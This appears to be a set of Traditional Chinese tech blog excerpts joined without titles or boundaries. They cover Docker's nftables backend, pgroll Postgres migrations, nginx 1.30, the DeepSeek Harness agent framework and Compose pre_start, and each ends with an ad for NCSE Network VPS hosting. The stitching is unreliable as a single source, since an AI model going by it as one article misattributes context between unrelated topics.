舊行為裡 Docker 啟動時會主動把 net.ipv4.ip_forward 設成 1。nftables backend 明確不做這件事——如果 bridge network 需要 forwarding 但 host 上沒開，daemon 直接報錯不啟動。官方文件強調這是刻意設計：多網卡 host 上自動打開 forwarding 是安全風險，Docker 不該替管理員做這個決定。

實務上補這一步很簡單，/etc/sysctl.d/99-docker.conf 加：

1
2

net.ipv4.ip_forward = 1
net.ipv6.conf.all.forwarding = 1

比較容易漏的是 iptables FORWARD chain policy。如果 host 上原本用 iptables -P FORWARD DROP 加白名單這種寫法，nftables backend 放行的封包在離開 nftables 世界之後還是會被 iptables 的 legacy FORWARD 掛掉。這個交叉汙染的排查極痛，因為兩邊的規則掃描工具通常分開跑、iptables -L 跟 nft list ruleset 也不會互相引用。切換 backend 前把 FORWARD policy 改成 ACCEPT、把過濾邏輯全搬進 nftables，才是乾淨路徑。

Swarm、direct routing 這幾個目前不能用

nftables backend 有一份明確的功能落後清單，遷移前要先確認自己的部署有沒有踩到。

Swarm 完全不支援。Docker 29 這一版的 overlay network 規則還沒從 iptables 搬過來，只要 daemon 進 Swarm mode，nftables backend 會拒絕啟用。官方講「未來版本會補」，但沒給時程。Compose + 單機 bridge 網路的 VPS 場景幾乎不受影響，Swarm cluster 就得整包等下一版。

Direct routing 有預設封鎖。舊行為裡，只要有辦法路由到 container IP，就能繞過 published port 直接連上容器。這在 host 有多張網卡、其中一張是 trusted 內網時是常用手法。nftables backend 預設在 raw-prerouting 這條 chain 直接 drop 這種直連封包，而且是在 raw 這麼早的 hook，fwmark 都來不及打。要打開得靠 network option com.docker.network.bridge.trusted_host_interfaces，或 daemon 層級的 allow-direct-routing global option。

iptables DOCKER-USER 的舊規則不會被 nftables backend 讀到，但也不會被清掉。切換 backend 之後 iptables 那條跳轉還在，直到重開機或手動清才會消失。這段過渡期兩份規則同時存在，追封包流向會比平常吃力。

什麼時候可以往 nftables backend 遷移

真的要下判斷，時機看幾個條件。單機 VPS 跑 Compose、沒有 Swarm、沒有複雜自訂防火牆規則、iptables FORWARD 已經是 ACCEPT policy——這種標準配置切過去幾乎零成本，順手把 host 拉進 nftables 世代。有大量 DOCKER-USER 規則要保留的環境，先把規則寫成 nftables 版、拿一臺測試機驗過再說，遷移工具目前只有 iptables-translate 而且產出得手動修。跑 Swarm 的環境完全不用考慮，等下一版。

Docker 官方明確講「未來版本 nftables 會變預設、iptables 標記 deprecated」，但沒給版本號跟時間點。從 v29 的實驗支援到預設反轉之間會有幾個版本的緩衝期，這期間把握機會把手上的防火牆邏輯搬過去，比等到強制切換那天再手忙腳亂划算很多。

想在乾淨 VPS 上驗這條 nftables backend 直接開一臺就好

Docker 29 的 nftables backend 目前狀態是「可以測、還不建議吃 production 流量」，但遷移前的驗證動作越早做越輕鬆。要一臺乾淨的 Debian 13 或 Ubuntu 26.04、kernel 帶完整 nftables 支援、能自由開關 daemon option 而不影響手邊服務——最省事的做法是開一臺獨立的 VPS 專門測。NCSE Network 提供的 VPS 主機跑在臺灣是方電訊機房、Intel Gold CPU 加 NVMe SSD，Debian 13、Ubuntu 26.04 等主流映像檔開機即用，kernel 版本全支援 nftables 完整功能集。想了解相關方案細節，可以到 ncse.tw 查看。

pgroll 是 Xata 團隊釋出的開源工具，用完全不同的角度切入這個問題：不去 patch ALTER TABLE，而是在 Postgres 上開兩份平行 schema，讓新舊版本的應用同時讀寫，靠 view 跟 trigger 把兩邊自動接起來。舊版應用還在跑的期間，新版可以直接部署上去，等所有客戶端遷移完成再把舊的收掉。這個做法在 2026 年最新的 v0.16.2 版本已經穩定，實務上對付有流量的 Postgres 遷移是目前最完整的一條路。

傳統 Postgres 遷移為什麼會踩到鎖

Postgres 的 DDL 是 transactional 的，這件事聽起來很美好，但一旦碰到大表就變成陷阱。ALTER TABLE ... ADD COLUMN foo TEXT NOT NULL DEFAULT 'x' 這一行在 Postgres 11 之後有個 fast-path 優化，因為新的 default 值可以只寫進系統目錄，實際 row 不需要重寫。但只要 default 不是常數、或者你想在既存 row 上填不同的值，Postgres 就必須真的把每一 row 都掃一遍，這段期間持有 ACCESS EXCLUSIVE lock，其他所有 query 全部排隊等。

改欄位名更慘。ALTER TABLE ... RENAME COLUMN 本身只是 metadata 操作，但應用程式端如果同時有舊版跟新版在跑（多數的滾動部署都會），舊版會找不到欄位、新版會找不到舊欄位，只要 rename 那一瞬間有 request 進來就會噴 error。這種情況只能靠人工把「加新欄位、同步寫兩邊、切讀、切寫、清舊欄位」拆成好幾個 PR 分批部署，一個 sprint 才做得完一個欄位改名。

那如果只是加 NOT NULL 到既有欄位呢？Postgres 12 起支援 SET NOT NULL 搭配已存在的 CHECK ... NOT NULL constraint，可以省掉 full table scan，但 constraint 本身還是要用 NOT VALID 加上 VALIDATE CONSTRAINT 分兩步跑，中間 backfill 那段仍舊是應用程式自己處理。

pgroll 把 schema 抽象成「版本」而不是「狀態」

pgroll 的核心設計就一句話：Postgres 上每張表的每個 schema 版本，都是同一份 physical table 的一個 view。

當一個遷移啟動，pgroll 會做這幾件事：先在 physical table 上加需要的新欄位（保持 nullable），寫一組 trigger 把新舊欄位互相同步，然後在一個新的 schema（例如 public_v2）裡建立 view，view 只暴露新版本該有的欄位定義。舊的 view 還留在 public_v1 裡，繼續讓舊版應用讀寫舊欄位。

真正精妙的地方在 trigger 那層：如果遷移是「加一個 NOT NULL 欄位並用其他欄位運算填值」，pgroll 允許在遷移檔案裡寫一段 SQL 表達式（up 欄位）描述舊 row 該怎麼填新欄位，另一段（down）描述新 row 該怎麼投影回舊 schema。這兩段 SQL 會被塞進 BEFORE INSERT/UPDATE trigger，在任何一邊寫入時自動把另一邊補齊。

換句話說，應用程式完全不需要知道遷移正在跑。舊版應用寫舊 view，trigger 幫它同步到新欄位；新版應用寫新 view，trigger 幫它同步回舊欄位。只要新版 rollout 完成，pgroll 執行 complete 就把舊 view、舊欄位、trigger 全部收掉，只留下新的 physical schema。

一個實際的 NOT NULL 遷移長什麼樣

假設 reviews 表原本 review 欄位是 nullable，現在要改成 NOT NULL，遇到 NULL 的舊 row 想用「產品名稱 + is good」自動補值。pgroll 的遷移檔案會是這樣：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

{
  "name": "review_not_null",
  "operations": [
    {
      "alter_column": {
        "table": "reviews",
        "column": "review",
        "not_null": true,
        "up": "(SELECT CASE WHEN review IS NULL THEN product || ' is good' ELSE review END)",
        "down": "review"
      }
    }
  ]
}

執行 pgroll start review_not_null 之後：

1. pgroll 在 reviews 表上加了一個新欄位 _pgroll_new_review，型別跟原欄位一樣但帶 NOT NULL constraint（用 NOT VALID 建立避免鎖）。
2. Trigger 開始跑：任何寫入舊欄位 review 的 statement，會用 up 表達式計算出對應的新欄位值，寫進 _pgroll_new_review；反過來寫新欄位的 statement，會用 down 表達式（這裡直接投影回 review）填回舊欄位。
3. Backfill worker 開始跑，一次 10000 row 分批把舊資料透過 up 表達式填進新欄位。
4. 建立 public_v2 schema，裡面 reviews view 只暴露 _pgroll_new_review 並命名為 review。舊的 public_v1.reviews view 還在，繼續讓舊版應用讀寫。

這時候應用程式可以慢慢滾動部署，把連線字串從 search_path=public_v1 換成 search_path=public_v2。等所有 pod、所有 replica 都切完，執行 pgroll complete，pgroll 會：把 _pgroll_new_review 改名為 review（覆蓋原欄位）、VALIDATE CONSTRAINT 把 NOT NULL 落實、砍掉 trigger、砍掉舊 schema。

整個過程沒有任何一秒鐘應用需要停機，也沒有任何一個 request 會因為 schema 不一致噴 error。

Rollback 是一級公民

實務上更值得注意的是 rollback。傳統的 SQL migration 工具（Flyway、Liquibase、Alembic）雖然都支援 down migration，但寫 down migration 這件事本身就是災難：如果新版遷移已經破壞了原本的資料形狀（例如刪掉一個欄位），down migration 沒辦法把資料真的還原。

pgroll 因為新舊 schema 在 complete 之前一直平行存在，rollback 就只是「不要 complete，直接把新 schema 收掉」。舊資料一直沒被破壞，rollback 一秒完成，也不會有資料遺失。

這對於 canary 部署或 feature flag 綁遷移的場景特別有用。如果新版本上線後發現有 bug，先把應用 rollback 回 public_v1，資料層的 schema 一動都不用動，等修好再重新 start。

跟 Atlas 這類宣告式工具怎麼分工

臺灣開發圈近年討論比較多的是 Atlas，它主打「宣告式 schema」——你把想要的最終 schema 定義寫在檔案裡，Atlas 自動算出從現況到目標的 diff 並產出 SQL。這條路解決的是「migration 檔案手寫容易出錯、review 難、跨環境 drift 難偵測」的問題。

pgroll 解決的是完全不同的層次：它不關心「schema 該長什麼樣」，它關心「怎麼在有流量的資料庫上把 schema 從 A 變到 B 而不中斷」。這兩個工具其實可以疊在一起用——Atlas 負責維護真實 schema 定義跟版本控制，pgroll 負責在部署階段用零停機的方式套用變更。

如果拿 pgroll 直接跟 Liquibase、Flyway 這種舊派工具比較，差別在於：舊派工具本質上是「按順序執行 SQL 檔案」的 runner，遷移是不是安全、能不能不停機，完全靠寫 SQL 的人自己負責。pgroll 把「不停機」這件事拉進工具本身，用 view + trigger 幫你把安全遷移的樣板實作出來。代價是你得學一套新的 DSL、跟現有的 migration workflow 整合、額外處理連線的 search_path 切換。

什麼場景不該用 pgroll

pgroll 不是萬能。有幾個實務上會踩到的限制值得先想清楚：

極大表的 backfill 仍然要跑很久。 view 跟 trigger 解決的是 lock 跟一致性問題，backfill 本身還是要掃過所有 row。一個 5 億筆的表，即使一批 10000 也要跑好幾個小時，這段期間磁碟 IO 跟 WAL 都會被吃掉。pgroll v0.7 之後可以調整 batch size 跟 backoff，實務上要根據 replica lag 動態調整。

Postgres 版本要 14.0 以上。 pgroll 依賴一些較新的 DDL 語法跟 catalog 特性，舊版 Postgres（12、13）跑不起來。RDS、Aurora、Supabase、Neon 都支援，但如果你還在用 CentOS 7 上內建的 Postgres 11，得先升級。

應用程式必須能夠切換 search_path。 pgroll 是靠不同 schema 名稱區隔版本，所以應用程式的連線字串或 session initializer 得能設定 SET search_path TO public_v2, public。如果你的 ORM 或 driver 對 search_path 有假設，或者連線是透過某些 pooler（PgBouncer transaction mode）走的，得先確認 SET search_path 會不會被吃掉。

跨表關聯的變更做不了。 pgroll 現在的 operation 都是單表的，如果你的遷移是「把 A 表的一個欄位搬到 B 表」，這種涉及多表的重構仍然要靠應用層自己處理。

遷移期間 disk 用量會暫時翻倍。 舊欄位還在、新欄位加上、backfill 資料也在，最壞情況下受影響的表會多佔一份儲存空間，直到 complete 之後才釋放。VPS 上磁碟不寬裕的話得先擴容。

部署 pgroll 到自架 Postgres 的實際流程

在自架的 Postgres 上導入 pgroll 大致是這幾件事：

先在資料庫上跑 pgroll init，它會建立一個 schema pgroll 用來存遷移狀態跟版本記錄。如果已經有現存資料庫，接著跑 pgroll baseline，把當前 schema 匯入為版本 v0。

CI/CD 裡面的整合就是把 pgroll start 排在應用 deploy 之前、pgroll complete 排在 deploy 完成、健康檢查通過之後。中間如果健康檢查失敗，跳過 complete 直接 rollback。這個流程用 GitHub Actions、GitLab CI 或者 Kamal 這類部署工具都好接。

如果你的 Postgres 跑在 Docker Compose 上，把 pgroll binary 打包進一個 sidecar container，或者直接在 CI runner 上執行都可以。pgroll 是純 Go 寫的靜態 binary，不需要 runtime 依賴。

監控方面，pgroll 的 backfill 進度可以透過 pgroll status 查詢，也可以從 pgroll schema 裡直接 SELECT 看每個 batch 的狀態。生產環境建議搭配一個 alert，backfill 超過預期時間就通知，避免遷移卡住沒人知道。

Postgres 的 schema 遷移從來不是「寫幾條 ALTER TABLE 就好」，只是很多團隊靠「排在半夜三點停機做」把這件事的難度藏起來了。當服務規模到了不能停機的量級，pgroll 這種把「零停機」設計進工具本身的做法，比起繼續手動雙寫加 backfill 要穩定得多。已經用 Atlas、Flyway 的團隊也不用整個換掉，把 pgroll 疊上去接手實際執行階段就好。

想在自架 Postgres 上玩玩看 pgroll、需要一臺穩定的機器來測試 zero-downtime 遷移流程？NCSE Network 提供臺灣是方電訊機房的企業級 VPS，Intel Gold CPU、NVMe SSD、99% SLA，適合跑對 latency 敏感的 Postgres 工作負載。7 天免費試用，方便先驗證遷移流程再上生產。

預設連後端改成 HTTP/1.1 keep-alive，不動設定也會變

過去 nginx 的 proxy_pass 對後端預設是 HTTP/1.0 且不帶 keep-alive，每一個進來的請求就對後端開一條新 TCP 連線再關掉。這個預設值追溯到 2004 年還沒有 HTTP/1.1 keepalive 生態的時代，之後所有教學都在補丁式地告訴讀者要在 location 裡加上 proxy_http_version 1.1; 跟 proxy_set_header Connection "";，再配一個 upstream { keepalive 32; } 才會走連線池。

1.30 把這條預設直接翻過來。裝完新版之後 proxy_pass 對後端就是 HTTP/1.1、Connection 頭預設是空字串、upstream keepalive 模組預設 active。之前寫過補丁的 config 沒事，之前沒寫的 config 現在自動享受連線復用。這對每秒進出幾百個短請求的反向代理是實打實的延遲改善，短連線爆掉的 TIME_WAIT 也會少一大截。

要留意的邊角是後端。有些老舊 CGI、老的 PHP-FPM socket 前端、甚至一些自寫的 upstream 收到 keep-alive TCP 連線會表現得很怪——最經典的是連線閒置一段時間之後後端先關、nginx 下次派請求進去正好撞上 half-close，回一個 502。這種情況 nginx 會自動 retry 到下一個 upstream，但如果 upstream 只有一個而 proxy_next_upstream 沒放行 error，client 就直接看到 502。升上去以後前幾天要看 error log 有沒有 upstream prematurely closed connection，出現就把 keepalive_timeout 調到比後端 idle timeout 短。

HTTP/2 直達 upstream，微服務內網終於不必自己拆頭

同一個版本把 proxy_http_version 2 這條路正式打通。以往 nginx 跟後端之間如果想跑 HTTP/2 只能靠 grpc_pass 走 gRPC 或是自己 patch，一般 REST upstream 進來 HTTP/2、出去強制降成 HTTP/1.1，中間所有多工的好處都被拆光。1.30 讓 upstream 段落可以宣告 HTTP/2，同一條 TCP 連線多路請求，微服務網格內部 kubernetes service 之間或者 nginx 前面接 gRPC 後面接內部 REST 的組合，都可以少一次 protocol downgrade。

實務上真要開 HTTP/2 到 upstream 得盤兩件事。第一是後端必須支援 h2c（純明文的 HTTP/2）或者你願意在內網做 TLS，這件事社群共識非常分歧，但如果 upstream 就在同一臺 VPS 上跑 unix socket 或 loopback，多加 TLS 反而拖慢。第二是 proxy_buffering 開著的時候 HTTP/2 的多工優勢被 nginx 自己的 buffer 吃掉一半，如果 upstream 送 SSE 或 streaming JSON，記得把 buffering 關掉。

sticky cookie 從 Plus 拉回 OSS，等了十幾年

sticky cookie 這個功能商業版 Nginx Plus 從 2012 年就有，開源版一直沒給。社群這十幾年只能靠 michaelneale/nginx-sticky-module 這種第三方模組自己編 nginx，或退而求其次用 hash $cookie_JSESSIONID consistent; 之類的方法做偽 sticky——前者要維護 build pipeline，後者遇到 client 不吃 cookie 或換網段就整個 hash 重算，session 直接飛。

1.30 把 cookie 版 sticky 塞進 upstream 模組本體。config 寫起來這樣：

1
2
3
4
5

upstream backend {
    server 10.0.0.11:8080;
    server 10.0.0.12:8080;
    sticky cookie srv_id expires=1h domain=.example.com path=/;
}

nginx 第一次派請求到某臺後端之後，回應會多一個 Set-Cookie: srv_id=<opaque> 給 client，之後所有帶著這顆 cookie 的請求都黏在同一臺 upstream 上。opaque 值是加密過的 upstream identifier，client 看不出來也改不了。這個對於還沒完全 stateless、session 存在記憶體或本機檔的老應用是真的救星，特別是那種要遷雲但沒預算重寫的 legacy Java web。

要提醒的是 sticky learn（NGINX Plus 那個從流量裡挖 session id 的變體）目前還在 Plus，開源版只給 cookie。真的需要 route 或 learn 模式的還是得付錢。另外 sticky 天生跟橫向擴展打架——某臺 upstream 掛掉那顆 cookie 對應的所有 session 就一起飛了，這是 sticky 這個概念本身的限制，nginx 的 config 沒魔法解。

Encrypted ClientHello 進了，但沒 OpenSSL 3.5 開不了

Encrypted ClientHello（ECH）解決 TLS 交握時 SNI 明文外洩這條老問題。原本瀏覽器連 example.com 的時候 SNI 直接寫 example.com 在明文的 ClientHello 裡，中間任何路徑上的 middlebox、ISP、路由器都看得到「這個人在連哪個域名」。ECH 把整個 ClientHello（包含 SNI）封在一個外層 ClientHello 裡面，外層用一個共享的 public SNI，內層要伺服器用私鑰解密才拿得到。

nginx 1.30 的 ECH 需要底層是 OpenSSL 3.5 或以上。這裡有個坑——大部分發行版現在還停在 OpenSSL 3.0 或 3.2，Debian 13 帶的是 3.5，Ubuntu 24.04 是 3.0，RHEL 系的 EL9 也還沒到。要用 ECH 現階段要嘛換 Debian 13、要嘛自己編一個帶新 OpenSSL 的 nginx。config 上開起來就是：

1
2
3
4
5
6
7
8
9
10

server {
    listen 443 ssl;
    server_name inner.example.com;

    ssl_certificate     /etc/nginx/certs/inner.crt;
    ssl_certificate_key /etc/nginx/certs/inner.key;

    ssl_ech_keys /etc/nginx/ech/key1.ech.pem;
    ssl_ech_keys /etc/nginx/ech/key2.ech.pem;
}

私鑰塞 nginx，對應的公鑰要發布到 DNS 的 HTTPS resource record 給瀏覽器抓。這條 DNS 依賴讓 ECH 在只有 DNS-over-HTTPS 的環境才真的有意義，如果 DNS 是明文查詢，網路觀察者一樣從 DNS 就看到 client 在解哪個域名，ECH 保護的隱私就漏光。實務上單獨開 ECH 沒什麼用，配 DoH/DoT 一起才成立，多站點共用一個 IP 的環境（同一臺 VPS 上跑很多 SaaS）受益最明顯，那種只有一個域名的個人網站開起來只是負擔。

TLS 證書壓縮跟 Early Hints，兩個延遲小刀

證書壓縮走的是 RFC 8879，Server Hello 之後把整條證書鏈用 brotli 或 zstd 壓一次再送。對 mobile client、高延遲鏈路以及帶完整 chain 的長 fullchain（例如 Let’s Encrypt 的 R11 加上根）節省的 handshake bytes 從 2~4 KB 起跳，對 HTTP/3 那種 1-RTT 完成 TLS 的場景一個 packet 塞不塞得下就是差別。1.30 支援之後只要 client 也支援（現代瀏覽器都會 advertise），nginx 會自動壓縮，不用改 config。

Early Hints（HTTP 103）是另一個路徑。原本 client 送出請求之後要等 server 把完整回應算好才能收到 header，才能開始 preload CSS/JS。有 Early Hints 之後 server 可以先回一個 103 帶 Link: </styles.css>; rel=preload 提示 client 開始拉資源，正式的 200 之後再送。動態頁面（server 端算得慢的、SSR 的、要打資料庫的）節省的 first byte 到 first paint 時間可觀。1.30 讓 nginx 從 upstream 收到 103 之後可以直通 client，不用像以前那樣被 buffering 吞掉。

max_headers 之類的小配件

security-side 補了一個 max_headers directive 限制單一請求最多可以帶多少個 header，預設 100，用來擋 header 灌爆的 DoS。之前只能靠 large_client_header_buffers 間接限制，那個限的是總 bytes 不是 count。另外新增了 $ssl_sigalg 跟 $ssl_client_sigalg 兩個變數方便 log 交握時用了哪個簽章演算法，觀察 post-quantum 遷移進度會用到。

該不該升，怎麼升

如果反向代理已經在 stable 1.28 上跑順、後端沒有奇怪的 keep-alive 相容問題，1.30 值得排進近期的維運視窗。預設連後端 keep-alive 這件事升上去馬上有感，sticky cookie 對老 web app 是解決痛點，證書壓縮不用改設定就有。ECH 跟 upstream HTTP/2 屬於「需要另外配套才有意義」的功能，可以之後再排。

升級路徑上，Debian 13 官方 repo 就是新版，直接 apt 就上去；還在 Debian 12 或 Ubuntu 22.04 的話用 nginx 官方 repo 拿 1.30 packages，OpenSSL 版本相依會自己處理。要玩 ECH 才需要在意底層 OpenSSL，其他功能 OpenSSL 3.0 就跑得動。設定檔向後相容，之前手動加的 proxy_http_version 1.1 跟 Connection "" 不衝突，可以留著也可以慢慢清乾淨。

NCSE Network 的臺灣是方電訊機房 VPS 適合這種反向代理場景——Intel Gold CPU 對 TLS handshake 的加密運算給得起，NVMe SSD 對 nginx 的 access log 寫入延遲穩定，臺灣境內 latency 讓 sticky session 這種黏著特定後端的架構表現得比跨海方案好。要把 nginx 1.30 這批新特性用起來、或需要一臺乾淨 Debian 13 環境自己編 OpenSSL 3.5 版本試 ECH 的，可以到 ncse.tw 看方案。

Cordis 才是這個框架真正的底層

Cordis 不是 DeepSeek 為 Harness 寫的東西，而是一個已經迭代兩年、原本在聊天機器人生態圈被拿來當外掛核心的 Node.js meta-framework。它的核心概念寫在同組作者發表的論文《A Programming Paradigm for Spatiotemporal Composability》裡——每個 plugin 對一個共享 context 貢獻 services、typed events 跟 reversible effects，其他 plugin 依賴的服務就從這個 context 拿。所有註冊都是可逆的，dispose 掉一個 plugin 就把它留下的 hook 跟 service 完全撤走，不會有 dangling reference。

這個設計對 agent 框架特別合用的地方是「沒有特權核心」——連 agent loop、model adapter、CLI 命令解析都是 plugin，替換它們的方式跟替換一個 tool 完全一樣。相較之下 Claude Code、Codex 這類產品把 loop 寫死在主程式裡，能延伸的只有 slash command、hook、skill 這幾條事先開好的路。DeepSeek Harness 把這條路徑本身也交給使用者接管。

Plugin 撐到底是什麼意思

出廠帶的 plugin 大致分成幾組：model adapter（DeepSeek、Anthropic、OpenAI、Bedrock、Vertex、Azure，以及任何 OpenAI-compatible endpoint）、tool registry、四個 preset（Standard、Code、Minimal、Creator）、storage 層、UI 層，再加上一個放在最外圈的 orchestration loop。每個都能透過 settings.yaml 換掉或多層疊加。Minimal preset 只有 persistent bash 加一個文字編輯器，這就是 DeepSeek 官方跑 V4-Pro benchmark 時的 harness 組態，方便論文對照重現。

Session 的表示法值得單獨拆出來講。所有對話狀態存在一份 append-only 事件流上，模型看到的 context 從這條流投影出來。這個抽象把「fork 一段對話換另一個模型繼續」、「replay 到某個中間點看當時的工具輸出」、「兩個平行分支跑同一批工具比較差異」變成純資料操作，不需要中介的 conversation object。缺點是這一版還沒做 schema versioning——升級 Harness 之後舊 session 直接讀不回來，商用還是實驗場景現階段都得認賠 rebuild。

Subagent 直接掛 Claude Code 跟 Codex 上去

Harness 有七個 subagent provider，其中 subagent-claude-code 直接呼叫 Anthropic 的 Agent SDK，subagent-codex 走 stdio JSON-RPC 接 Codex CLI，另有通用的 Agent Client Protocol 承接第三方實作。這代表把 DeepSeek Harness 當外殼跑，需要程式碼審閱的 subtask 分派給 Claude Code、需要跑試算的丟給 Codex、主 loop 由 DeepSeek V4-Pro 控——過去要自己黏合這件事得寫幾百行 shell script 加 tmux，現在剩下一段 YAML。

Subagent 預設 inheritsParentContext: false，只拿到任務描述跟工作目錄，沒有父對話歷史。這個選擇避免了 context blow-up，也讓 subagent 執行時看不到 parent 累積的機密資訊，是相當合理的預設。要主動傳遞資訊的話有專門的 handoff plugin，強制走顯性宣告。

自架到 VPS 上還有兩個坑要注意

主程式本體是 Node.js 22.19+ 或 24+ 加 pnpm，npx @deepseek-ai/dsh web 一行拉起 Web UI 綁 127.0.0.1:3080，資源需求對一臺 2 vCPU、4 GB RAM 的 VPS 綽綽有餘。裝完之後真正要處理的是兩個非顯而易見的問題。

第一個是 sandbox 完全不管網路。三個 preset 只在檔案系統層做隔離——read-only、workspace-write（預設）、danger-full-access——subagent 或 tool 想 curl 外部服務、想 clone 一個 repo、想連上任意 API，harness 一概不擋。要防的話得靠外部手段：iptables egress 規則、network namespace、或直接把 Harness 跑在一個 rootless container 裡再限制對外連線。這件事在多人共用的 dev VPS 上特別要處理，否則等於白開一個可以任意連外的執行環境給對話裡的模型使用。

第二個是 cordis preset 本身給予活的 JavaScript 執行權限對整個 runtime，等於誰能寫入設定檔誰就能覆寫任何插件。把 Harness 部署到有多個使用者的機器上，$DSH_HOME（credentials 也放在裡面）的權限一定要收緊到 0700，並確認 sudo 規則不會誤把它掛出去。這個問題在單人開發機上不痛不癢，但只要有第二個帳號存在就是提權入口。

選它還是等它

DeepSeek Harness 選擇把「可組合性」擺在完整產品體驗前面的做法，讓它現階段不適合被當成 Claude Code 或 Codex 的直接替代——文件廣度、tooling 打磨、UI 細緻度都還有明顯距離，session 也還沒 schema versioning。真正的價值是把 agent runtime 這一層變成可控且可移植的資產：模型、工具、loop、subagent 都能按組織需求換過一遍，不必被單一廠商的產品節奏綁住。這也是 DeepSeek 在打的策略——「模型後面可以換，但控制 agent 怎麼推理、怎麼呼叫工具、怎麼跨 session 保留狀態的 harness 很難換」——把難換的那一層先放出來成開源，模型的競爭空間就留給了自己。適合現在導入的場景是內部 agent 工具鏈的研究性專案、或需要把多個廠商模型接進同一份工作流做評測的團隊；正式產品線建議至少等到 session schema 版本化定案，也就是釋出說明裡明確標示 breaking change window 結束後。

想在臺灣把這類 agent 工作流穩定跑起來，底層硬體與網路品質是先決條件。NCSE Network 的 VPS 主機採 Intel Gold CPU 與 NVMe SSD、部署於是方電訊機房，適合長期執行 agent runtime、subagent 沙盒與私有 LLM gateway；若有跨區串接、對外 IP transit 或機房代管需求，也可直接與 NCSE Network 團隊聯繫。

service_completed_successfully 從來不是為這個場景設計的

depends_on 加 condition 這個組合是 Compose v2 為了取代舊版 v1 的簡單依序啟動加進來的，本意是描述服務之間的健康狀態依賴。service_healthy 讓後端等資料庫的 healthcheck 通過再啟動，這個場景合理；但把一次性的遷移工作包成一個「service」，只為了跑完退出然後被 service_completed_successfully 觀察到，本質上是在把一次性任務硬套到長期服務的抽象上。

副作用實務上會冒出來的幾個：docker compose ps 每次都會看到 migrate Exit 0 這種殭屍條目佔位；docker compose down 之後再 up，那個 migrate service 會照著 pull image 分配網路建立容器再退出，跑一輪就得等它，即使遷移根本已經做過；改設定檔重啟主服務時，如果沒下 --force-recreate，那個 migrate 不會被重建也不會重跑，變成該跑的時候沒跑；要串連續三個初始化步驟——先建 schema、再灌 seed data、再建索引——就得寫三個 service，兩個 depends_on 鏈，維護起來很難看。

有些團隊為了避免這些副作用，改用 shell script 在主服務啟動前跑遷移，塞進 entrypoint。這條路把應用程式的映像檔跟資料庫工具的責任綁在一起，違背單一容器單一責任的原則；重跑一次遷移還得整個 restart 主服務，殺傷力更大。

pre_start 把 init 從 peer 變成 subordinate

Compose v5.3 的 pre_start 用一個很直接的模型解掉這件事——它是主服務的一個子步驟，不是獨立 service。宣告寫在服務底下：

1
2
3
4
5
6
7
8
9
10

services:
  app:
    image: myapp:latest
    depends_on:
      db:
        condition: service_healthy
    pre_start:
      - command: ["./manage.py", "migrate"]
      - command: ["./manage.py", "loaddata", "fixtures.json"]
      - command: ["./manage.py", "collectstatic", "--noinput"]

三個步驟會依序在獨立的臨時容器裡跑，每一個要 exit 0 才會進到下一個，任何一個非零退出整個服務啟動就中止。三個容器預設繼承 app 的映像檔、進到 app 定義的網路、看得到 depends_on 裡的 db、共用 app 掛載的 volume。跑完之後容器被回收，docker compose ps 只會看到 app 一個條目，看起來就跟一般啟動一樣乾淨。

Compose 也記得每個步驟上次跑的定義跟結果——只要指令沒變、上次成功、沒下 --force-recreate，第二次 docker compose up 就會跳過。這件事對日常維運差別很大：主服務改個環境變數重啟一次，遷移不會重跑；改了遷移指令或加了新步驟才會重跑；上次跑失敗的一定會重跑一次。這套語意跟大多數團隊心裡「什麼時候該跑 migration」的直覺對得起來。

掛載卷擁有者修正這個場景差別最明顯

自架 PostgreSQL、MinIO、Grafana、Prometheus 這些服務在 Docker 底下常見的第一個坑，就是主機上 bind mount 的目錄擁有者是 root，容器裡的服務用 non-root 使用者啟動，直接吃 permission denied。過去的標準做法是寫一個 init service 掛同一個 volume，執行 chown -R 1000:1000 /data 之後退出：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

services:
  init-perms:
    image: alpine
    volumes:
      - ./grafana-data:/data
    command: chown -R 472:472 /data
    restart: "no"

  grafana:
    image: grafana/grafana:latest
    volumes:
      - ./grafana-data:/data
    depends_on:
      init-perms:
        condition: service_completed_successfully

用 pre_start 改寫是這樣：

1
2
3
4
5
6
7
8

services:
  grafana:
    image: grafana/grafana:latest
    volumes:
      - ./grafana-data:/data
    pre_start:
      - image: alpine
        command: ["chown", "-R", "472:472", "/data"]

差別在於 init container 現在明確跟 grafana 的 volume 共享——同一份 ./grafana-data:/data 定義只寫一次，chown 完之後 grafana 拿到的就是同一顆卷。不用 depends_on、不用另一個 service 條目、也沒有殭屍容器占位。要在 grafana 底下多加一個「若設定檔不存在就複製一份預設」的步驟，直接在 pre_start 陣列多加一項就好。

生命週期上有幾件事要先想清楚

pre_start 的容器是在服務容器被 create 之後、start 之前執行的。這個順序很關鍵——服務容器已經拿到 IP、掛好 volume，只是 process 還沒起來。init container 跟服務容器共用網路命名空間、共用 volume mount，改動立刻生效。實務上這代表 init container 修改的檔案、寫入的資料，服務容器啟動時就看得到。

但幾件事要注意。Init container 跑一次就是一次，不會為每個 replica 分別跑。用 deploy.replicas: 3 開三個 web 副本，pre_start 只跑一次；服務 scale up 加副本時，pre_start 也不會為新副本再跑。這件事對純粹的 stateless web 服務沒差，但如果 init 做的是每個副本各自需要的初始化——例如寫個 per-replica 的暫存目錄——就不適用。官方文件明確標記 per_replica: true 選項目前還不支援，只能自己想辦法。

另一個是它跟 configs 跟 secrets 的分工。想把一份靜態 config 塞進容器不該用 pre_start 寫 script，Compose 原生的 configs 定義做這件事更乾淨；想動態產生一份取決於環境的 config，pre_start 才有用武之地。同理，寫死的密碼字串塞進 secrets 就好，不用 pre_start 去 curl Vault 拿——那應該是主服務自己 startup 的責任。

還有 post_start 跟 pre_stop 這兩個 hook。它們跟 pre_start 名字很像但機制完全不同——post_start 跟 pre_stop 在既有的服務容器裡執行指令，不會另外開容器；pre_start 是獨立的臨時容器。要在服務啟動後跑一個 warm-up 請求，用 post_start；要在服務關閉前 flush buffer，用 pre_stop；要在服務啟動前跑遷移，用 pre_start。

版本相容跟部署路徑

pre_start 只在 Docker Compose v5.3.0 之後可用。臺灣多數 VPS 上跑的 Debian 12 或 Ubuntu 22.04 預設倉庫還在 Compose v2 舊分支，直接 apt 裝的版本不會有這個欄位。實務上要能用，兩條路：從 Docker 官方 apt 倉庫裝新版 docker-compose-plugin，或者用 Docker Desktop 的內建版本（開發機才適用）。VPS 上比較穩的做法是把 Docker Engine 跟 Compose plugin 都盯著官方 apt 倉庫升級，順帶避開發行版倉庫落後 6 到 12 個月的節奏差。

